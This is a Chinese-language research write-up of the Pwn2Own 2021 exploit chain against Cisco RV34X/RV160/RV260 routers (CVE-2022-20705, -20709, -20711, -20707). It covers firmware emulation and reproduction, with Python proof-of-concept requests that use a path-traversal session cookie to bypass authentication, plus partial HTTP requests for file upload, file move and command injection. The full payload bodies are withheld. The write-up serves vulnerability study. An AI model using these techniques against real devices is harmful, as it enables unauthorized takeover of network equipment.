(RV34X,160,260) 多漏洞攻擊鏈研究

漏洞介紹:
在2021年11月的Austin pwn2own比賽中,攻擊者對RV34X路由器進行了多個漏洞的發現與利用,通過多漏洞利用構成攻擊鏈,成功實現身份繞過、提權、命令注入效果。
CVE-2022-20705(邏輯缺陷-身份驗證繞過)
邏輯缺陷1:在/etc/nginx/conf.d/web.upload.conf文件中,存在邏輯缺陷漏洞。程序直接檢查是否存在該sessionid文件,但是如果將sessionid構造為指定路徑下已存在的文件,即可繞過身份驗證
邏輯缺陷2:在upload.cgi文件sub_10DC4函數中,存在邏輯缺陷漏洞。程序會再次檢查sessionid的值,看是否滿足base64編碼格式,但是在其之前會循環獲取sessionid,因此可以構造兩個sessionid來繞過以上兩個檢查
CVE-2022-20709(邏輯缺陷-任意文件上傳)
在/etc/nginx/conf.d/web.upload.conf文件中,存在邏輯缺陷漏洞,不對上傳文件進行檢查,直接編號存儲在/tmp/upload文件夾中,因此可以利用CVE-2022-20705繞過身份驗證并上傳任意文件
CVE-2022-20711(邏輯缺陷-任意文件移動)
在upload.cgi文件sub_115D0函數中,存在邏輯缺陷漏洞。不對mv指令中的參數進行檢查和過濾,直接運行造成任意文件移動,因此可以利用CVE-2022-20705繞過身份驗證并移動覆蓋任意文件,也可通過將文件移動至www文件夾,訪問泄露關鍵信息。
CVE-2022-20707(命令注入-非授權)
在upload.cgi文件sub_12684函數中,存在命令注入漏洞。不對json參數進行檢查,直接轉化為字符串拼接運行造成命令注入,可以利用CVE-2022-20705,09,11漏洞到達注入函數,然后執行命令。
版本:RV34X<=1.0.03.24,RV160/260<=1.0.01.05
固件模擬
用戶模擬 sudo mount --bind /proc proc sudo mount --bind /dev dev sudo chroot . ./qemu-arm-static bin/sh /etc/init.d/boot boot generate_default_cert /etc/init.d/confd start /etc/init.d/nginx start 系統模擬 #qemu啟動 sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap -nographic #主機運行網絡配置腳本 #! /bin/sh sudo sysctl -w net.ipv4.ip_forward=1 sudo iptables -F sudo iptables -X sudo iptables -t nat -F sudo iptables -t nat -X sudo iptables -t mangle -F sudo iptables -t mangle -X sudo iptables -P INPUT ACCEPT sudo iptables -P FORWARD ACCEPT sudo iptables -P OUTPUT ACCEPT sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0 #虛擬機配置ip ifconfig eth0 192.168.100.2 netmask 255.255.255.0 route add default gw 192.168.100.254 #上傳壓縮后的文件系統 scp -r rootfs.tar.xz root@192.168.100.2:~/ #解壓縮 tar xvf rootfs.tar.xz #啟動nginx服務 chmod -R 777 rootfs mount -o bind /dev ./rootfs/dev mount -t proc /proc ./rootfs/proc chroot rootfs sh /etc/init.d/boot boot generate_default_cert /etc/init.d/confd start /etc/init.d/nginx start
漏洞分析與復現
CVE-2022-20705(邏輯缺陷-身份驗證繞過)
其實這個版本的固件對之前的命令注入漏洞進行了修補,因為CVE-2021-3451在upload.cgi下存在非授權命令注入,但是修補后還是存在邏輯漏洞,依舊可以繞過身份認證。
邏輯缺陷1
分析web.upload.conf中的內容,發現添加了檢查條件:

我們進一步分析該檢查的邏輯,其會檢查seessionid,看此sessionid是否在/tmp/websession/token文件夾下存在,如果不存在,則直接返回403。但是如果我們將sessionid構造為指定路徑下以存在的文件,例如:../../../etc/firmware_version,就可以繞過該檢查。
需要注意一點,就是tmp/websession文件夾一開始不會生成,必須進行過一次登錄請求才會生成該文件夾,因此可以先隨意執行一次登錄請求。
初始構造poc,注意url使用https,因為發現http會重定向至https
import requests
url='https://127.0.0.1/upload'
headers={'Cookie':'sessionid=../../../etc/nofile'}
r = requests.post(url,headers=headers,verify=False)
print(r.text)
發送后接收到返回:
403 Forbidden "white"> 403 Forbidden
nginx
修改poc:
import requests
url='https://127.0.0.1/upload'
headers={'Cookie':'sessionid=../../../etc/firmware_version'}
r = requests.post(url,headers=headers,verify=False)
print(r.text)
發送后接收到返回:
400 Bad Request "white"> 400 Bad Request
nginx
邏輯缺陷2
程序在upload.cgi中會再次檢查sessionid的值,要求只能符合base64的相關規則:

這個檢查貌似會影響我們利用邏輯缺陷1漏洞,但其實并不影響,因為前面獲取sessionid時,是循環獲取的,因此只要構造兩個sessionid并且第二個sessionid符合檢查規則,即可繞過該檢查:

CVE-2022-20709(邏輯缺陷-任意文件上傳)
分析web.upload.conf中的內容,發現其不對上傳的文件內容加以限制,就會直接在/tmp/upload文件夾下生成存放,從0000000001開始按編號生成

因此編寫poc如下,盡管不給upload.cgi的其他參數賦值,只要上傳內容,就能在upload文件夾臨時存放,sessionid利用CVE-2022-20705進行繞過(注意實際burpsuite中的poc有縮進符號與換行符號)
POST /upload HTTP/1.1 Host: 127.0.0.1 Cookie:sessionid=../../../etc/firmware_version; sessionid=Y2lzY28vMTI3LjAuMC4xLzE1NTk5; User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Optional-Header: header-value Content-Length: 277 Origin: https://127.0.0.1 Referer: https://127.0.0.1/index.html Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close 出于安全需要具體exp暫不展示
攻擊后效果如下:

CVE-2022-20711(邏輯缺陷-任意文件移動)
分析upload.cgi主函數,其會通過環境變量獲取http頭部信息,并且通過關鍵字提取相關參數,如果檢查文件名稱符合要求,則會調用sub_115D0函數處理



sub_115D0函數本質就是將upload文件夾中的文件,根據我們傳入的file.path、pathparam、fileparam等參數,移動到相關文件夾。因此我們可以通過控制相關參數,實現文件的移動和覆蓋


因此編寫poc如下,將剛剛upload文件夾中的文件,移動至/tmp/www文件夾下(注意實際burpsuite中的poc有縮進符號與換行符號)
POST /upload HTTP/1.1 Host: 127.0.0.1 Cookie:sessionid=../../../etc/firmware_version; sessionid=Y2lzY28vMTI3LjAuMC4xLzE1NTk5; User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Optional-Header: header-value Content-Type: multipart/form-data; boundary=---------------------------423817133334654906301755622142 Content-Length: 678 Origin: https://127.0.0.1 Referer: https://127.0.0.1/index.html Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close 出于安全需要具體exp暫不展示
攻擊后效果如下:

當然也可以直接指定好參數及上傳文件的內容,直接將文件上傳并移動至指定目錄,此時不需要指定file.path參數,也可以指定。poc如下(注意實際burpsuite中的poc有縮進符號與換行符號):
POST /upload HTTP/1.1 Host: 127.0.0.1 Cookie:sessionid=../../../etc/firmware_version; sessionid=Y2lzY28vMTI3LjAuMC4xLzE1NTk5; User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Optional-Header: header-value Content-Type: multipart/form-data; boundary=---------------------------423817133334654906301755622142 Content-Length: 678 Origin: https://127.0.0.1 Referer: https://127.0.0.1/index.html Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close 出于安全需要具體exp暫不展示
攻擊效果如下:


CVE-2022-20707(命令注入-非授權)
命令注入發生的函數在sub_12684函數中,執行sub_12684函數的前提是前面文件移動成功執行,也就是說我們依舊要指定好相關的參數:

該函數的主要功能就是根據pathparam參數,執行不同的json數據創建,然后將json格式轉為字符串,直接拼接執行,因此造成命令注入:


sub_117E0函數執行的就是json數據創建,注意其中會將destination參數變為json格式,因此我們只需要構造帶引號與分號的destination參數,即可實現命令執行。注意這里option參數也不能為空。

因此編寫poc如下,此poc只利用了文件移動方法來通過sub_12684函數,也可以利用文件上傳與移動來通過sub_12684函數(注意實際burpsuite中的poc有縮進符號與換行符號):
POST /upload HTTP/1.1 Host: 127.0.0.1 Cookie:sessionid=../../../etc/firmware_version; sessionid=Y2lzY28vMTI3LjAuMC4xLzE1NTk5; User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Optional-Header: header-value Content-Type: multipart/form-data; boundary=---------------------------423817133334654906301755622142 Content-Length: 680 Origin: https://127.0.0.1 Referer: https://127.0.0.1/index.html Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close 出于安全需要具體exp暫不展示
攻擊效果如下圖所示:

至此,我們可以實現身份驗證繞過,向RV340路由器上傳文件、移動文件、運行命令,基本上實現了設備的完全控制,攻擊鏈完整實現。